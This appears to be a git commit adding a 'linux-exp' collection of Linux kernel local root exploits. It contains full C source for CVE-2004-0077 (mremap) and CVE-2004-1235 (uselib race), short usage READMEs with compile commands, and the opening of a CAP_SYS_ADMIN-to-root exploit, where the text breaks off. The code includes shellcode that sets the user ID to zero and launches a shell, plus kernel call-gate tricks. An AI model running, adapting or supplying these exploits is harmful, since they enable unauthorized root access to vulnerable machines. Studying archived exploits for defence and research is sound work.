linux-exp

This commit is contained in:
Gitmaninc 2017-06-14 12:16:27 -04:00
parent 54b57d59ed
commit 4dca098e74
105 changed files with 17460 additions and 44 deletions

300
2004/CVE-2004-0077/160.c Normal file
View File

@ -0,0 +1,300 @@
/*
*
* mremap missing do_munmap return check kernel exploit
*
* gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
* ./mremap_pte [suid] [[shell]]
*
* Vulnerable kernel versions are all <= 2.2.25, <= 2.4.24 and <= 2.6.2
*
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <unistd.h>
#include <syscall.h>
#include <signal.h>
#include <time.h>
#include <sched.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <sys/utsname.h>
#include <asm/page.h>
#define str(s) #s
#define xstr(s) str(s)
// this is for standard kernels with 3/1 split
#define STARTADDR 0x40000000
#define PGD_SIZE (PAGE_SIZE * 1024)
#define VICTIM (STARTADDR + PGD_SIZE)
#define MMAP_BASE (STARTADDR + 3*PGD_SIZE)
#define DSIGNAL SIGCHLD
#define CLONEFL (DSIGNAL|CLONE_VFORK|CLONE_VM)
#define MREMAP_MAYMOVE ( (1UL) << 0 )
#define MREMAP_FIXED ( (1UL) << 1 )
#define __NR_sys_mremap __NR_mremap
// how many ld.so pages? this is the .text section length (like cat
// /proc/self/maps) in pages
#define LINKERPAGES 0x14
// suid victim
static char *suid="/bin/ping";
// shell to start
static char *launch="/bin/bash";
_syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d,
ulong, e);
unsigned long sys_mremap(unsigned long addr, unsigned long old_len,
unsigned long new_len, unsigned long flags,
unsigned long new_addr);
static volatile unsigned base, *t, cnt, old_esp, prot, victim=0;
static int i, pid=0;
static char *env[2], *argv[2];
static ulong ret;
// code to appear inside the suid image
static void suid_code(void)
{
__asm__(
" call callme \n"
// setresuid(0, 0, 0), setresgid(0, 0, 0)
"jumpme: xorl %ebx, %ebx \n"
" xorl %ecx, %ecx \n"
" xorl %edx, %edx \n"
" xorl %eax, %eax \n"
" mov $"xstr(__NR_setresuid)", %al \n"
" int $0x80 \n"
" mov $"xstr(__NR_setresgid)", %al \n"
" int $0x80 \n"
// execve(launch)
" popl %ebx \n"
" andl $0xfffff000, %ebx \n"
" xorl %eax, %eax \n"
" pushl %eax \n"
" movl %esp, %edx \n"
" pushl %ebx \n"
" movl %esp, %ecx \n"
" mov $"xstr(__NR_execve)", %al \n"
" int $0x80 \n"
// exit
" xorl %eax, %eax \n"
" mov $"xstr(__NR_exit)", %al \n"
" int $0x80 \n"
"callme: jmp jumpme \n"
);
}
static int suid_code_end(int v)
{
return v+1;
}
static inline void get_esp(void)
{
__asm__(
" movl %%esp, %%eax \n"
" andl $0xfffff000, %%eax \n"
" movl %%eax, %0 \n"
: : "m"(old_esp)
);
}
static inline void cloneme(void)
{
__asm__(
" pusha \n"
" movl $("xstr(CLONEFL)"), %%ebx \n"
" movl %%esp, %%ecx \n"
" movl $"xstr(__NR_clone)", %%eax \n"
" int $0x80 \n"
" movl %%eax, %0 \n"
" popa \n"
: : "m"(pid)
);
}
static inline void my_execve(void)
{
__asm__(
" movl %1, %%ebx \n"
" movl %2, %%ecx \n"
" movl %3, %%edx \n"
" movl $"xstr(__NR_execve)", %%eax \n"
" int $0x80 \n"
: "=a"(ret)
: "m"(suid), "m"(argv), "m"(env)
);
}
static inline void pte_populate(unsigned addr)
{
unsigned r;
char *ptr;
memset((void*)addr, 0x90, PAGE_SIZE);
r = ((unsigned)suid_code_end) - ((unsigned)suid_code);
ptr = (void*) (addr + PAGE_SIZE);
ptr -= r+1;
memcpy(ptr, suid_code, r);
memcpy((void*)addr, launch, strlen(launch)+1);
}
// hit VMA limit & populate PTEs
static void exhaust(void)
{
// mmap PTE donor
t = mmap((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(MAP_FAILED==t)
goto failed;
// prepare shell code pages
for(i=2; i<LINKERPAGES+1; i++)
pte_populate(victim + PAGE_SIZE*i);
i = mprotect((void*)victim, PAGE_SIZE*(LINKERPAGES+3), PROT_READ);
if(i)
goto failed;
// lock unmap
base = MMAP_BASE;
cnt = 0;
prot = PROT_READ;
printf("\n"); fflush(stdout);
for(;;) {
t = mmap((void*)base, PAGE_SIZE, prot,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(MAP_FAILED==t) {
if(ENOMEM==errno)
break;
else
goto failed;
}
if( !(cnt%512) || cnt>65520 )
printf("\r MMAP #%d 0x%.8x - 0x%.8lx", cnt, base,
base+PAGE_SIZE); fflush(stdout);
base += PAGE_SIZE;
prot ^= PROT_EXEC;
cnt++;
}
// move PTEs & populate page table cache
ret = sys_mremap(victim+PAGE_SIZE, LINKERPAGES*PAGE_SIZE, PAGE_SIZE,
MREMAP_FIXED|MREMAP_MAYMOVE, VICTIM);
if(-1==ret)
goto failed;
munmap((void*)MMAP_BASE, old_esp-MMAP_BASE);
t = mmap((void*)(old_esp-PGD_SIZE-PAGE_SIZE), PAGE_SIZE,
PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0,
0);
if(MAP_FAILED==t)
goto failed;
*t = *((unsigned *)old_esp);
munmap((void*)VICTIM-PAGE_SIZE, old_esp-(VICTIM-PAGE_SIZE));
printf("\n[+] Success\n\n"); fflush(stdout);
return;
failed:
printf("\n[-] Failed\n"); fflush(stdout);
_exit(0);
}
static inline void check_kver(void)
{
static struct utsname un;
int a=0, b=0, c=0, v=0, e=0, n;
uname(&un);
n=sscanf(un.release, "%d.%d.%d", &a, &b, &c);
if(n!=3 || a!=2) {
printf("\n[-] invalid kernel version string\n");
_exit(0);
}
if(b==2) {
if(c<=25)
v=1;
}
else if(b==3) {
if(c<=99)
v=1;
}
else if(b==4) {
if(c>18 && c<=24)
v=1, e=1;
else if(c>24)
v=0, e=0;
else
v=1, e=0;
}
else if(b==5 && c<=75)
v=1, e=1;
else if(b==6 && c<=2)
v=1, e=1;
printf("\n[+] kernel %s vulnerable: %s exploitable %s",
un.release, v? "YES" : "NO", e? "YES" : "NO" );
fflush(stdout);
if(v && e)
return;
_exit(0);
}
int main(int ac, char **av)
{
// prepare
check_kver();
memset(env, 0, sizeof(env));
memset(argv, 0, sizeof(argv));
if(ac>1) suid=av[1];
if(ac>2) launch=av[2];
argv[0] = suid;
get_esp();
// mmap & clone & execve
exhaust();
cloneme();
if(!pid) {
my_execve();
} else {
waitpid(pid, 0, 0);
}
return 0;
}
// milw0rm.com [2004-03-01]

View File

@ -0,0 +1,19 @@
# CVE-2004-0077
CVE-2004-0077
Vulnerability reference:
* [CVE-2004-0077](http://www.exploit-db.com/exploits/160/)
## Kernels
```
2.4.20, 2.2.24, 2.4.25, 2.4.26, 2.4.27
```
## Usage
```
gcc -O3 -static -fomit-frame-pointer mremap_pte.c -o mremap_pte
./mremap_pte [suid] [[shell]]
```

912
2004/CVE-2004-1235/744.c Normal file
View File

@ -0,0 +1,912 @@
/*
* EDB Note: There's is an updated version ~ https://www.exploit-db.com/exploits/895/
*/
/*
* binfmt_elf uselib VMA insert race vulnerability
* v1.08
*
* gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl
*
* Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
*
* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
* AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
* WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
*
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sched.h>
#include <syscall.h>
#include <limits.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/mman.h>
#include <sys/sysinfo.h>
#include <linux/elf.h>
#include <linux/linkage.h>
#include <asm/page.h>
#include <asm/ldt.h>
#include <asm/segment.h>
#define str(s) #s
#define xstr(s) str(s)
#define MREMAP_MAYMOVE 1
// temp lib location
#define LIBNAME "/dev/shm/_elf_lib"
// shell name
#define SHELL "/bin/bash"
// time delta to detect race
#define RACEDELTA 5000
// if you have more deadbabes in memory, change this
#define MAGIC 0xdeadbabe
// do not touch
#define SLAB_THRSH 128
#define SLAB_PER_CHLD (INT_MAX - 1)
#define LIB_SIZE ( PAGE_SIZE * 4 )
#define STACK_SIZE ( PAGE_SIZE * 4 )
#define LDT_PAGES ( (LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1)/PAGE_SIZE )
#define ENTRY_GATE ( LDT_ENTRIES-1 )
#define SEL_GATE ( (ENTRY_GATE<<3)|0x07 )
#define ENTRY_LCS ( ENTRY_GATE-2 )
#define SEL_LCS ( (ENTRY_LCS<<3)|0x04 )
#define ENTRY_LDS ( ENTRY_GATE-1 )
#define SEL_LDS ( (ENTRY_LDS<<3)|0x04 )
#define kB * 1024
#define MB * 1024 kB
#define GB * 1024 MB
#define TMPLEN 256
#define PGD_SIZE ( PAGE_SIZE*1024 )
extern char **environ;
static char cstack[STACK_SIZE];
static char name[TMPLEN];
static char line[TMPLEN];
static volatile int
val = 0,
go = 0,
finish = 0,
scnt = 0,
ccnt=0,
delta = 0,
delta_max = RACEDELTA,
map_flags = PROT_WRITE|PROT_READ;
static int
fstop=0,
silent=0,
pidx,
pnum=0,
smp_max=0,
smp,
wtime=2,
cpid,
uid,
task_size,
old_esp,
lib_addr,
map_count=0,
map_base=0,
map_addr,
addr_min,
addr_max,
vma_start,
vma_end,
max_page;
static struct timeval tm1, tm2;
static char *myenv[] = {"TERM=vt100",
"HISTFILE=/dev/null",
NULL};
static char hellc0de[] = "\x49\x6e\x74\x65\x6c\x65\x63\x74\x75\x61\x6c\x20\x70\x72\x6f\x70"
"\x65\x72\x74\x79\x20\x6f\x66\x20\x49\x68\x61\x51\x75\x65\x52\x00";
static char *pagemap, *libname=LIBNAME, *shellname=SHELL;
#define __NR_sys_gettimeofday __NR_gettimeofday
#define __NR_sys_sched_yield __NR_sched_yield
#define __NR_sys_madvise __NR_madvise
#define __NR_sys_uselib __NR_uselib
#define __NR_sys_mmap2 __NR_mmap2
#define __NR_sys_munmap __NR_munmap
#define __NR_sys_mprotect __NR_mprotect
#define __NR_sys_mremap __NR_mremap
inline _syscall6(int, sys_mmap2, int, a, int, b, int, c, int, d, int, e, int, f);
inline _syscall5(int, sys_mremap, int, a, int, b, int, c, int, d, int, e);
inline _syscall3(int, sys_madvise, void*, a, int, b, int, c);
inline _syscall3(int, sys_mprotect, int, a, int, b, int, c);
inline _syscall3( int, modify_ldt, int, func, void *, ptr, int, bytecount );
inline _syscall2(int, sys_gettimeofday, void*, a, void*, b);
inline _syscall2(int, sys_munmap, int, a, int, b);
inline _syscall1(int, sys_uselib, char*, l);
inline _syscall0(void, sys_sched_yield);
inline int tmdiff(struct timeval *t1, struct timeval *t2)
{
int r;
r=t2->tv_sec - t1->tv_sec;
r*=1000000;
r+=t2->tv_usec - t1->tv_usec;
return r;
}
void fatal(const char *message, int critical)
{
int sig = critical? SIGSTOP : (fstop? SIGSTOP : SIGKILL);
if(!errno) {
fprintf(stdout, "\n[-] FAILED: %s ", message);
} else {
fprintf(stdout, "\n[-] FAILED: %s (%s) ", message,
(char*) (strerror(errno)) );
}
if(critical)
printf("\nCRITICAL, entering endless loop");
printf("\n");
fflush(stdout);
unlink(libname);
kill(cpid, SIGKILL);
for(;;) kill(0, sig);
}
// try to race do_brk sleeping on kmalloc, may need modification for SMP
int raceme(void* v)
{
finish=1;
for(;;) {
errno = 0;
// check if raced:
recheck:
if(!go) sys_sched_yield();
sys_gettimeofday(&tm2, NULL);
delta = tmdiff(&tm1, &tm2);
if(!smp_max && delta < (unsigned)delta_max) goto recheck;
smp = smp_max;
// check if lib VMAs exist as expected under race condition
recheck2:
val = sys_madvise((void*) lib_addr, PAGE_SIZE, MADV_NORMAL);
if(val) continue;
errno = 0;
val = sys_madvise((void*) (lib_addr+PAGE_SIZE),
LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
if( !val || (val<0 && errno!=ENOMEM) ) continue;
// SMP?
smp--;
if(smp>=0) goto recheck2;
// recheck race
if(!go) continue;
finish++;
// we need to free one vm_area_struct for mmap to work
val = sys_mprotect(map_addr, PAGE_SIZE, map_flags);
if(val) fatal("mprotect", 0);
val = sys_mmap2(lib_addr + PAGE_SIZE, PAGE_SIZE*3, PROT_NONE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(-1==val) fatal("mmap2 race", 0);
printf("\n[+] race won maps=%d", map_count); fflush(stdout);
_exit(0);
}
return 0;
}
int callme_1()
{
return val++;
}
inline int valid_ptr(unsigned ptr)
{
return ptr>=task_size && ptr<addr_min-16;
}
inline int validate_vma(unsigned *p, unsigned s, unsigned e)
{
unsigned *t;
if(valid_ptr(p[0]) && valid_ptr(p[3]) && p[1]==s && p[2]==e) {
t=(unsigned*)p[3];
if( t[0]==p[0] && t[1]<=task_size && t[2]<=task_size )
return 1;
}
return 0;
}
asmlinkage void kernel_code(unsigned *task)
{
unsigned *addr = task;
// find & reset uids
while(addr[0] != uid || addr[1] != uid ||
addr[2] != uid || addr[3] != uid)
addr++;
addr[0] = addr[0] = addr[2] = addr[3] = 0;
addr[4] = addr[5] = addr[6] = addr[7] = 0;
// find & correct VMA
for(addr=(unsigned *)task_size; (unsigned)addr<addr_min-16; addr++) {
if( validate_vma(addr, vma_start, vma_end) ) {
addr[1] = task_size - PAGE_SIZE;
addr[2] = task_size;
break;
}
}
}
void kcode(void);
void __kcode(void)
{
asm(
"kcode: \n"
" pusha \n"
" pushl %es \n"
" pushl %ds \n"
" movl $(" xstr(SEL_LDS) ") ,%edx \n"
" movl %edx,%es \n"
" movl %edx,%ds \n"
" movl $0xffffe000,%eax \n"
" andl %esp,%eax \n"
" pushl %eax \n"
" call kernel_code \n"
" addl $4, %esp \n"
" popl %ds \n"
" popl %es \n"
" popa \n"
" lret \n"
);
}
int callme_2()
{
return val + task_size + addr_min;
}
void sigfailed(int v)
{
ccnt++;
fatal("lcall", 1);
}
// modify LDT & exec
void try_to_exploit(unsigned addr)
{
volatile int r, *v;
printf("\n[!] try to exploit 0x%.8x", addr); fflush(stdout);
unlink(libname);
r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE|map_flags);
if(r) fatal("mprotect 1", 1);
// check if really LDT
v = (void*) (addr + (ENTRY_GATE*LDT_ENTRY_SIZE % PAGE_SIZE) );
signal(SIGSEGV, sigfailed);
r = *v;
if(r != MAGIC) {
printf("\n[-] FAILED val = 0x%.8x", r); fflush(stdout);
fatal("find LDT", 1);
}
// yeah, setup CPL0 gate
v[0] = ((unsigned)(SEL_LCS)<<16) | ((unsigned)kcode & 0xffffU);
v[1] = ((unsigned)kcode & ~0xffffU) | 0xec00U;
printf("\n[+] gate modified ( 0x%.8x 0x%.8x )", v[0], v[1]); fflush(stdout);
// setup CPL0 segment descriptors (we need the 'accessed' versions ;-)
v = (void*) (addr + (ENTRY_LCS*LDT_ENTRY_SIZE % PAGE_SIZE) );
v[0] = 0x0000ffff; /* kernel 4GB code at 0x00000000 */
v[1] = 0x00cf9b00;
v = (void*) (addr + (ENTRY_LDS*LDT_ENTRY_SIZE % PAGE_SIZE) );
v[0] = 0x0000ffff; /* kernel 4GB data at 0x00000000 */
v[1] = 0x00cf9300;
// reprotect to get only one big VMA
r = sys_mprotect(addr, PAGE_SIZE, PROT_READ|map_flags);
if(r) fatal("mprotect 2", 1);
// CPL0 transition
sys_sched_yield();
val = callme_1() + callme_2();
asm("lcall $" xstr(SEL_GATE) ",$0x0");
if( getuid()==0 || (val==31337 && strlen(hellc0de)==16) ) {
printf("\n[+] exploited, uid=0\n\n" ); fflush(stdout);
} else {
printf("\n[-] uid change failed" ); fflush(stdout);
sigfailed(0);
}
signal(SIGTERM, SIG_IGN);
kill(0, SIGTERM);
execl(shellname, "sh", NULL);
fatal("execl", 0);
}
void scan_mm_finish();
void scan_mm_start();
// kernel page table scan code
void scan_mm()
{
map_addr -= PAGE_SIZE;
if(map_addr <= (unsigned)addr_min)
scan_mm_start();
scnt=0;
val = *(int*)map_addr;
scan_mm_finish();
}
void scan_mm_finish()
{
retry:
__asm__("movl %0, %%esp" : :"m"(old_esp) );
if(scnt) {
pagemap[pidx] ^= 1;
}
else {
sys_madvise((void*)map_addr, PAGE_SIZE, MADV_DONTNEED);
}
pidx--;
scan_mm();
goto retry;
}
// make kernel page maps before and after allocating LDT
void scan_mm_start()
{
static int npg=0;
static struct modify_ldt_ldt_s l;
pnum++;
if(pnum==1) {
pidx = max_page-1;
}
else if(pnum==2) {
memset(&l, 0, sizeof(l));
l.entry_number = LDT_ENTRIES-1;
l.seg_32bit = 1;
l.base_addr = MAGIC >> 16;
l.limit = MAGIC & 0xffff;
l.limit_in_pages = 1;
if( modify_ldt(1, &l, sizeof(l)) != 0 )
fatal("modify_ldt", 1);
pidx = max_page-1;
}
else if(pnum==3) {
npg=0;
for(pidx=0; pidx<=max_page-1; pidx++) {
if(pagemap[pidx]) {
npg++;
fflush(stdout);
}
else if(npg == LDT_PAGES) {
npg=0;
try_to_exploit(addr_min+(pidx-1)*PAGE_SIZE);
} else {
npg=0;
}
}
fatal("find LDT", 1);
}
// save context & scan page table
__asm__("movl %%esp, %0" : :"m"(old_esp) );
map_addr = addr_max;
scan_mm();
}
// return number of available SLAB objects in cache
int get_slab_objs(const char *sn)
{
static int c, d, u = 0, a = 0;
FILE *fp=NULL;
fp = fopen("/proc/slabinfo", "r");
if(!fp)
fatal("get_slab_objs: fopen", 0);
fgets(name, sizeof(name) - 1, fp);
do {
c = u = a = -1;
if (!fgets(line, sizeof(line) - 1, fp))
break;
c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a,
&d, &d, &d, &d);
} while (strcmp(name, sn));
close(fileno(fp));
fclose(fp);
return c == 7 ? a - u : -1;
}
// leave one object in the SLAB
inline void prepare_slab()
{
int *r;
map_addr -= PAGE_SIZE;
map_count++;
map_flags ^= PROT_READ;
r = (void*)sys_mmap2((unsigned)map_addr, PAGE_SIZE, map_flags,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0);
if(MAP_FAILED == r) {
fatal("try again", 0);
}
*r = map_addr;
}
// sig handlers
void segvcnt(int v)
{
scnt++;
scan_mm_finish();
}
// child reap
void reaper(int v)
{
ccnt++;
waitpid(0, &v, WNOHANG|WUNTRACED);
}
// sometimes I get the VMAs in reversed order...
// so just use anyone of the two but take care about the flags
void check_vma_flags();
void vreversed(int v)
{
map_flags = 0;
check_vma_flags();
}
void check_vma_flags()
{
if(map_flags) {
__asm__("movl %%esp, %0" : :"m"(old_esp) );
} else {
__asm__("movl %0, %%esp" : :"m"(old_esp) );
goto out;
}
signal(SIGSEGV, vreversed);
val = * (unsigned*)(lib_addr + PAGE_SIZE);
out:
}
// use elf library and try to sleep on kmalloc
void exploitme()
{
int r, sz, pcnt=0;
static char smiley[]="-\\|/-\\|/";
// printf("\n cat /proc/%d/maps", getpid() ); fflush(stdout);
// helper clone
finish=0; ccnt=0;
sz = sizeof(cstack) / sizeof(cstack[0]);
cpid = clone(&raceme, (void*) &cstack[sz-16],
CLONE_VM|CLONE_SIGHAND|CLONE_FS|SIGCHLD, NULL );
if(-1==cpid) fatal("clone", 0);
// synchronize threads
while(!finish) sys_sched_yield();
finish=0;
if(!silent) {
printf("\n"); fflush(stdout);
}
// try to hit the kmalloc race
for(;;) {
r = get_slab_objs("vm_area_struct");
while(r != 1) {
prepare_slab();
r--;
}
sys_gettimeofday(&tm1, NULL);
go = 1;
r=sys_uselib(libname);
go = 0;
if(r) fatal("uselib", 0);
if(finish) break;
// wipe lib VMAs and try again
r = sys_munmap(lib_addr, LIB_SIZE);
if(r) fatal("munmap lib", 0);
if(ccnt) goto failed;
if( !silent && !(pcnt%64) ) {
printf("\r Wait... %c", smiley[ (pcnt/64)%8 ]);
fflush(stdout);
}
pcnt++;
}
// seems we raced, free mem
r = sys_munmap(map_addr, map_base-map_addr + PAGE_SIZE);
if(r) fatal("munmap 1", 0);
r = sys_munmap(lib_addr, PAGE_SIZE);
if(r) fatal("munmap 2", 0);
// relax kswapd
sys_gettimeofday(&tm1, NULL);
for(;;) {
sys_sched_yield();
sys_gettimeofday(&tm2, NULL);
delta = tmdiff(&tm1, &tm2);
if( wtime*1000000U <= (unsigned)delta ) break;
}
// we need to check the PROT_EXEC flag
map_flags = PROT_EXEC;
check_vma_flags();
if(!map_flags) {
printf("\n VMAs reversed"); fflush(stdout);
}
// write protect brk's VMA to fool vm_enough_memory()
r = sys_mprotect((lib_addr + PAGE_SIZE), LIB_SIZE-PAGE_SIZE,
PROT_READ|map_flags);
if(-1==r) { fatal("mprotect brk", 0); }
// this will finally make the big VMA...
sz = (0-lib_addr) - LIB_SIZE - PAGE_SIZE;
expand:
r = sys_madvise((void*)(lib_addr + PAGE_SIZE),
LIB_SIZE-PAGE_SIZE, MADV_NORMAL);
if(r) fatal("madvise", 0);
r = sys_mremap(lib_addr + LIB_SIZE-PAGE_SIZE,
PAGE_SIZE, sz, MREMAP_MAYMOVE, 0);
if(-1==r) {
if(0==sz) {
fatal("mremap: expand VMA", 0);
} else {
sz -= PAGE_SIZE;
goto expand;
}
}
vma_start = lib_addr + PAGE_SIZE;
vma_end = vma_start + sz + 2*PAGE_SIZE;
printf("\n expanded VMA (0x%.8x-0x%.8x)", vma_start, vma_end);
fflush(stdout);
// try to figure kernel layout
signal(SIGCHLD, reaper);
signal(SIGSEGV, segvcnt);
signal(SIGBUS, segvcnt);
scan_mm_start();
failed:
fatal("try again", 0);
}
// make fake ELF library
void make_lib()
{
struct elfhdr eh;
struct elf_phdr eph;
static char tmpbuf[PAGE_SIZE];
int fd;
// make our elf library
umask(022);
unlink(libname);
fd=open(libname, O_RDWR|O_CREAT|O_TRUNC, 0755);
if(fd<0) fatal("open lib ("LIBNAME" not writable?)", 0);
memset(&eh, 0, sizeof(eh) );
// elf exec header
memcpy(eh.e_ident, ELFMAG, SELFMAG);
eh.e_type = ET_EXEC;
eh.e_machine = EM_386;
eh.e_phentsize = sizeof(struct elf_phdr);
eh.e_phnum = 1;
eh.e_phoff = sizeof(eh);
write(fd, &eh, sizeof(eh) );
// section header:
memset(&eph, 0, sizeof(eph) );
eph.p_type = PT_LOAD;
eph.p_offset = 4096;
eph.p_filesz = 4096;
eph.p_vaddr = lib_addr;
eph.p_memsz = LIB_SIZE;
eph.p_flags = PF_W|PF_R|PF_X;
write(fd, &eph, sizeof(eph) );
// execable code
lseek(fd, 4096, SEEK_SET);
memset(tmpbuf, 0x90, sizeof(tmpbuf) );
write(fd, &tmpbuf, sizeof(tmpbuf) );
close(fd);
}
// move stack down #2
void prepare_finish()
{
int r;
static struct sysinfo si;
old_esp &= ~(PAGE_SIZE-1);
old_esp -= PAGE_SIZE;
task_size = ((unsigned)old_esp + 1 GB ) / (1 GB) * 1 GB;
r = sys_munmap(old_esp, task_size-old_esp);
if(r) fatal("unmap stack", 0);
// setup rt env
uid = getuid();
lib_addr = task_size - LIB_SIZE - PAGE_SIZE;
if(map_base)
map_addr = map_base;
else
map_base = map_addr = (lib_addr - PGD_SIZE) & ~(PGD_SIZE-1);
printf("\n[+] moved stack %x, task_size=0x%.8x, map_base=0x%.8x",
old_esp, task_size, map_base); fflush(stdout);
// check physical mem & prepare
sysinfo(&si);
addr_min = task_size + si.totalram;
addr_min = (addr_min + PGD_SIZE - 1) & ~(PGD_SIZE-1);
addr_max = addr_min + si.totalram;
if((unsigned)addr_max >= 0xffffe000 || (unsigned)addr_max < (unsigned)addr_min)
addr_max = 0xffffd000;
printf("\n[+] vmalloc area 0x%.8x - 0x%.8x", addr_min, addr_max);
max_page = (addr_max - addr_min) / PAGE_SIZE;
pagemap = malloc( max_page + 32 );
if(!pagemap) fatal("malloc pagemap", 1);
memset(pagemap, 0, max_page + 32);
// go go
make_lib();
exploitme();
}
// move stack down #1
void prepare()
{
unsigned p=0;
environ = myenv;
p = sys_mmap2( 0, STACK_SIZE, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS, 0, 0 );
if(-1==p) fatal("mmap2 stack", 0);
p += STACK_SIZE - 64;
__asm__("movl %%esp, %0 \n"
"movl %1, %%esp \n"
: : "m"(old_esp), "m"(p)
);
prepare_finish();
}
void chldcnt(int v)
{
ccnt++;
}
// alloc slab objects...
inline void do_wipe()
{
int *r, c=0, left=0;
__asm__("movl %%esp, %0" : : "m"(old_esp) );
old_esp = (old_esp - PGD_SIZE+1) & ~(PGD_SIZE-1);
old_esp = map_base? map_base : old_esp;
for(;;) {
if(left<=0)
left = get_slab_objs("vm_area_struct");
if(left <= SLAB_THRSH)
break;
left--;
map_flags ^= PROT_READ;
old_esp -= PAGE_SIZE;
r = (void*)sys_mmap2(old_esp, PAGE_SIZE, map_flags,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, 0, 0 );
if(MAP_FAILED == r)
break;
if(c>SLAB_PER_CHLD)
break;
if( (c%1024)==0 ) {
if(!c) printf("\n");
printf("\r child %d VMAs %d", val, c);
fflush(stdout);
}
c++;
}
printf("\r child %d VMAs %d", val, c);
fflush(stdout);
kill(getppid(), SIGUSR1);
for(;;) pause();
}
// empty SLAB caches
void wipe_slab()
{
signal(SIGUSR1, chldcnt);
printf("\n[+] SLAB cleanup"); fflush(stdout);
for(;;) {
ccnt=0;
val++;
cpid = fork();
if(!cpid)
do_wipe();
while(!ccnt) sys_sched_yield();
if( get_slab_objs("vm_area_struct") <= SLAB_THRSH )
break;
}
signal(SIGUSR1, SIG_DFL);
}
void usage(char *n)
{
printf("\nUsage: %s\t-f forced stop\n", n);
printf("\t\t-s silent mode\n");
printf("\t\t-c command to run\n");
printf("\t\t-n SMP iterations\n");
printf("\t\t-d race delta us\n");
printf("\t\t-w wait time seconds\n");
printf("\t\t-l alternate lib name\n");
printf("\t\t-a alternate addr hex\n");
printf("\n");
_exit(1);
}
// give -s for forced stop, -b to clean SLAB
int main(int ac, char **av)
{
int r;
while(ac) {
r = getopt(ac, av, "n:l:a:w:c:d:fsh");
if(r<0) break;
switch(r) {
case 'f' :
fstop = 1;
break;
case 's' :
silent = 1;
break;
case 'n' :
smp_max = atoi(optarg);
break;
case 'd':
if(1!=sscanf(optarg, "%u", &delta_max) || delta_max > 100000u )
fatal("bad delta value", 0);
break;
case 'w' :
wtime = atoi(optarg);
if(wtime<0) fatal("bad wait value", 0);
break;
case 'l' :
libname = strdup(optarg);
break;
case 'c' :
shellname = strdup(optarg);
break;
case 'a' :
if(1!=sscanf(optarg, "%x", &map_base))
fatal("bad addr value", 0);
map_base &= ~(PGD_SIZE-1);
break;
case 'h' :
default:
usage(av[0]);
break;
}
}
// basic setup
uid = getuid();
setpgrp();
wipe_slab();
prepare();
return 0;
}
// milw0rm.com [2005-01-07]

View File

@ -0,0 +1,19 @@
# CVE-2004-1235
CVE-2004-1235
Vulnerability reference:
* [CVE-2004-1235](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2004-1235)
* [exp-db](https://www.exploit-db.com/exploits/744/)
## Kernels
```
2.4.29
```
## Usage
```
$ gcc -O2 -fomit-frame-pointer elflbl.c -o elflbl
```

285
2004/caps_to_root/15916.c Normal file
View File

@ -0,0 +1,285 @@
/*
* Linux Kernel CAP_SYS_ADMIN to root exploit
* by Dan Rosenberg
* @djrbliss on twitter
*
* Usage:
* gcc -w caps-to-root.c -o caps-to-root
* sudo setcap cap_sys_admin+ep caps-to-root
* ./caps-to-root
*
* This exploit is NOT stable:
*
* * It only works on 32-bit x86 machines
*
* * It only works on >= 2.6.34 kernels (it could probably be ported back, but
* it involves winning a race condition)
*
* * It requires symbol support for symbols that aren't included by default in
* several distributions
*
* * It requires the Phonet protocol, which may not be compiled on some
* distributions
*
* * You may experience problems on multi-CPU systems
*
* It has been tested on a stock Ubuntu 10.10 installation. I wouldn't be
* surprised if it doesn't work on other distributions.
*
* ----
*
* Lately there's been a lot of talk about how a large subset of Linux
* capabilities are equivalent to root. CAP_SYS_ADMIN is a catch-all
* capability that, among other things, allows mounting filesystems and
* injecting commands into an administrator's shell - in other words, it
* trivially allows you to get root. However, I found another way to get root
* from CAP_SYS_ADMIN...the hard way.
*
* This exploit leverages a signedness error in the Phonet protocol. By
* specifying a negative protocol index, I can craft a series of fake
* structures in userspace and cause the incrementing of an arbitrary kernel
* address, which I then leverage to execute arbitrary kernel code.
*
* Greets to spender, cloud, jono, kees, pipacs, redpig, taviso, twiz, stealth,
* and bla.
*
*/
#include <stdio.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <errno.h>
#include <string.h>
#include <linux/capability.h>
#include <sys/utsname.h>
#include <sys/mman.h>
#include <unistd.h>
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
int getroot(void)
{
commit_creds(prepare_kernel_cred(0));
return 0;
}
int konami(void)
{
